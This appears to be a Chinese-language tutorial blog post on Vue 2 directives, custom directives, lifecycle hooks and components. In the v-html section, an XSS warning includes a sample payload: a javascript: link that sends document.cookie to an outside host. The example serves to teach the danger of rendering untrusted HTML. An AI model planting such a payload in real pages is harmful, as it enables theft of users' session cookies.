Vue 内置指令、自定义指令、生命周期、组件

321 阅读5分钟

内置指令

  1. v-text 作用:向其所在的节点中渲染文本内容。与插值语法的区别:v-text会全部替换掉节点中的内容,{{xx}}则不会。
<div id="root">
	<div>你好,{{name}}</div>
	<div v-text="name"></div>
	<div v-text="str"></div>
</div>
<script type="text/javascript">
        Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

        new Vue({
                el:'#root',
                data:{
                        name:'aaa',
                        str:'<h3>你好啊!</h3>'
                }
        })
</script>
  1. v-html 作用:向指定节点中渲染包含html结构的内容。注意:v-html有安全性问题,在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。一定要在可信的内容上使用v-html,永不要用在用户提交的内容上。
<div id="root">
	<div>你好,{{name}}</div>
	<div v-html="str"></div>
	<div v-html="str2"></div>
</div>
<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
	new Vue({
		el:'#root',
		data:{
			name:'aaa',
			str:'<h3>你好啊!</h3>',
			str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>',
		}
	})
</script>
  1. v-cloak 本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-cloak指令</title>
		<style>
			[v-cloak]{
				display:none;
			}
		</style>
		<!-- 引入Vue -->
	</head>
	<body>
		<div id="root">
			<h2 v-cloak>{{name}}</h2>
		</div>
		<script type="text/javascript" src="xxx"></script>
	</body>
	
	<script type="text/javascript">
		console.log(1)
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		new Vue({
			el:'#root',
			data:{
				name:'aaa'
			}
		})
	</script>
</html>
  1. v-once v-once所在节点在初次动态渲染后,就视为静态内容了。以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。
<div id="root">
	<h2 v-once>初始化的n值是:{{n}}</h2>
	<h2>当前的n值是:{{n}}</h2>
	<button @click="n++">点我n+1</button>
</div>
  1. v-pre 跳过其所在节点的编译过程。可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。
<div id="root">
	<h2 v-pre>Vue其实很简单</h2>
	<h2 >当前的n值是:{{n}}</h2>
	<button @click="n++">点我n+1</button>
</div>

自定义指令

  1. 局部指令: new Vue(directives:{指令名:配置对象}) new Vue(directives:{指令名:回调函数})
  2. 全局指令: Vue.directive(指令名,配置对象) Vue.directive(指令名,回调函数)
  3. 配置对象中常用的3个回调:
    • .bind:指令与元素成功绑定时调用。
    • .inserted:指令所在元素被插入页面时调用。
    • .update:指令所在模板结构被重新解析时调用。

备注:指令定义时不加v-,但使用时要加v-;指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名。this指向window。

<div id="root">
	<h2>{{name}}</h2>
	<h2>当前的n值是:<span v-text="n"></span> </h2>
	<!-- <h2>放大10倍后的n值是:<span v-big-number="n"></span> </h2> -->
	<h2>放大10倍后的n值是:<span v-big="n"></span> </h2>
	<button @click="n++">点我n+1</button>
	<hr/>
	<input type="text" v-fbind:value="n">
</div>
<script type="text/javascript">
	Vue.config.productionTip = false
	// 需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍。
	// 需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点。		

	//定义全局指令
	/* Vue.directive('fbind',{
		//指令与元素成功绑定时(一上来)
		bind(element,binding){
			element.value = binding.value
		},
		//指令所在元素被插入页面时
		inserted(element,binding){
			element.focus()
		},
		//指令所在的模板被重新解析时
		update(element,binding){
			element.value = binding.value
		}
	}) */

	new Vue({
		el: '#root',
		data: {
			name: 'aaa',
			n: 1
		},
		directives: {
			//big函数何时会被调用?1.指令与元素成功绑定时(一上来)
                        //2.指令所在的模板被重新解析时。
			/* 'big-number'(element,binding){
				// console.log('big')
				element.innerText = binding.value * 10
			}, */
			big(element, binding) {
				console.log('big', this) //注意此处的this是window
				// console.log('big')
				element.innerText = binding.value * 10
			},
			fbind: {
				//指令与元素成功绑定时(一上来)
				bind(element, binding) {
					element.value = binding.value
				},
				//指令所在元素被插入页面时
				inserted(element, binding) {
					element.focus()
				},
				//指令所在的模板被重新解析时
				update(element, binding) {
					element.value = binding.value
				}
			}
		}
	})

</script>

生命周期

  1. 引出:
    • 又名:生命周期回调函数、生命周期函数、生命周期钩子。
    • 是什么:Vue在关键时刻帮我们调用的一些特殊名称的函数。
    • 生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的。
    • 生命周期函数中的this指向是vm 或 组件实例对象。
  2. 常用的生命周期钩子:
    • mounted: 发送ajax请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】。
    • beforeDestroy: 清除定时器、解绑自定义事件、取消订阅消息等【收尾工作】。
  3. 关于销毁Vue实例
    • 销毁后借助Vue开发者工具看不到任何信息。
    • 销毁后自定义事件会失效,但原生DOM事件依然有效。
    • 一般不会在beforeDestroy操作数据,因为即便操作数据,也不会再触发更新流程了。

生命周期.png

非单文件组件

使用步骤
  1. 定义一个组件
    • 使用Vue.extend(options)创建,其中options和new Vue(options)时传入的那个options几乎一样,但也有点区别。区别如下:
      • el不要写,最终所有的组件都要经过一个vm的管理,由vm中的el决定服务哪个容器。
      • data必须写成函数,避免组件被复用时,数据存在引用关系。
    • 备注:使用template可以配置组件结构。
  2. 注册组件
    • 局部注册:靠new Vue的时候传入components选项
    • 全局注册:靠Vue.component('组件名',组件)
  3. 编写组件标签
<body>
        <div id="root">
                <hello></hello>
                <hr>
                <h1>{{msg}}</h1>
                <hr>
                <!-- 第三步:编写组件标签 -->
                <school></school>
                <hr>
                <!-- 第三步:编写组件标签 -->
                <student></student>
        </div>

        <div id="root2">
                <hello></hello>
        </div>
</body>

<script type="text/javascript">
        Vue.config.productionTip = false

        //第一步:创建school组件
        const school = Vue.extend({
                template:`
                        <div class="demo">
                                <h2>学校名称:{{schoolName}}</h2>
                                <h2>学校地址:{{address}}</h2>
                                <button @click="showName">点我提示学校名</button>	
                        </div>
                `,
                // el:'#root', //组件定义时,一定不要写el配置项
                data(){
                        return {
                                schoolName:'GUET',
                                address:'GUILIN'
                        }
                },
                methods: {
                        showName(){
                                alert(this.schoolName)
                        }
                },
        })

        //第一步:创建student组件
        const student = Vue.extend({
                template:`
                        <div>
                                <h2>学生姓名:{{studentName}}</h2>
                                <h2>学生年龄:{{age}}</h2>
                        </div>
                `,
                data(){
                        return {
                                studentName:'张三',
                                age:18
                        }
                }
        })

        //第一步:创建hello组件
        const hello = Vue.extend({
                template:`
                        <div>	
                                <h2>你好啊!{{name}}</h2>
                        </div>
                `,
                data(){
                        return {
                                name:'Tom'
                        }
                }
        })

        //第二步:全局注册组件
        Vue.component('hello',hello)

        //创建vm
        new Vue({
                el:'#root',
                data:{
                        msg:'你好啊!'
                },
                //第二步:注册组件(局部注册)
                components:{
                        school,
                        student
                }
        })

        new Vue({
                el:'#root2',
        })
</script>

使用注意点

  1. 关于组件名:
    • 一个单词组成:第一种写法(首字母小写):school。第二种写法(首字母大写):School
    • 多个单词组成:第一种写法(kebab-case命名):my-school。第二种写法(CamelCase命名):MySchool (需要Vue脚手架支持)
    • 备注:组件名尽可能回避HTML中已有的元素名称,例如:h2、H2都不行。可以使用name配置项指定组件在开发者工具中呈现的名字。
  2. 关于组件标签:
    • 第一种写法:<school></school>
    • 第二种写法:<school/>
    • 备注:不用使用脚手架时,<school/>会导致后续组件不能渲染。
  3. 简写:const school = Vue.extend(options) ===> const school = options

关于VueComponent

  1. school组件本质是一个名为VueComponent的构造函数,且不是程序员定义的,是Vue.extend生成的。
  2. 我们只需要写<school/><school></school>,Vue解析时会帮我们创建school组件的实例对象,即Vue帮我们执行的:new VueComponent(options)。
  3. 特别注意:每次调用Vue.extend,返回的都是一个全新的VueComponent.
  4. 关于this指向:
    • 组件配置中,data函数、methods中的函数、watch中的函数、computed中的函数 它们的this均是【VueComponent实例对象】。
    • new Vue(options)配置中:data函数、methods中的函数、watch中的函数、computed中的函数 它们的this均是【Vue实例对象】。
  5. 重要的内置关系
    • VueComponent.prototype.__proto__ === Vue.prototype
    • 为什么要有这个关系:让组件实例对象(vc)可以访问到 Vue原型上的属性、方法。
<body>
	<div id="root">
		<school></school>
		<hello></hello>
	</div>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false

	//定义school组件
	const school = Vue.extend({
		name: 'school',
		template: `
				<div>
					<h2>学校名称:{{name}}</h2>	
					<h2>学校地址:{{address}}</h2>	
					<button @click="showName">点我提示学校名</button>
				</div>
			`,
		data() {
			return {
				name: 'aaa',
				address: '北京'
			}
		},
		methods: {
			showName() {
				console.log('showName', this)
			}
		},
	})

	const test = Vue.extend({
		template: `<span>bbbb</span>`
	})

	//定义hello组件
	const hello = Vue.extend({
		template: `
				<div>
					<h2>{{msg}}</h2>
					<test></test>	
				</div>
			`,
		data() {
			return {
				msg: '你好啊!'
			}
		},
		components: { test }
	})


	// console.log('@',school)
	// console.log('#',hello)

	//创建vm
	const vm = new Vue({
		el: '#root',
		components: { school, hello }
	})
</script>

单文件组件

  1. 目录结构
    image.png
  2. Student.vue
<template>
	<div>
		<h2>学生姓名:{{name}}</h2>
		<h2>学生年龄:{{age}}</h2>
	</div>
</template>

<script>
	 export default {
		name:'Student',
		data(){
			return {
				name:'张三',
				age:18
			}
		}
	}
</script>

<style>
<style/>
  1. App.vue
<template>
	<div>
		<img src="./assets/logo.png" alt="logo">
		<School></School>
		<Student></Student>
	</div>
</template>

<script>
	//引入组件
	import School from './components/School'
	import Student from './components/Student'

	export default {
		name:'App',
		components:{
			School,
			Student
		}
	}
</script>
  1. main.js
    • vue.jsvue.runtime.xxx.js的区别:vue.js是完整版的Vue,包含:核心功能+模板解析器。vue.runtime.xxx.js是运行版的Vue,只包含:核心功能;没有模板解析器。而import Vue from 'vue'引入的是vue.runtime.xxx.js
    • 因为vue.runtime.xxx.js没有模板解析器,所以不能使用 template 配置项,需要使用 render 函数接收到的 createElement 函数去指定具体内容。
/* 
	该文件是整个项目的入口文件
*/
//引入Vue
import Vue from 'vue'
//引入App组件,它是所有组件的父组件
import App from './App.vue'
//关闭vue的生产提示
Vue.config.productionTip = false

//创建Vue实例对象---vm
new Vue({
	el:'#app',
	//render函数完成了这个功能:将App组件放入容器中
  render: h => h(App),
	// render:q=> q('h1','你好啊')

	// template:`<h1>你好啊</h1>`,
	// components:{App},
})